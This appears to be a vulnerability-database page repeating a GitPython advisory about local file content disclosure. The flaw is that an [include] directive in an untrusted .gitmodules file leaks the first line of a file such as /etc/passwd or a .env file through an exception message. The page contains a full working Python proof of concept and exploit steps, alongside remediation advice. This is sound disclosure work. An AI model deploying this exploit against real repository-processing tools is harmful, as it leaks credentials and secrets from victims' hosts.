"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-snakemake-CVE-2026-78675",
"modified": "2026-09-17T20:10:37Z",
"published": "2026-09-04T10:04:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-SNOWFLAKE-CLI-CVE-2… (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 10:05 – Updated: 2026-09-17 18:46 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.59",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "snowflake-cli",
"purl": "pkg:brew/snowflake-cli"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.1"
},
{
"fixed": "3.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.59",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.59"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule 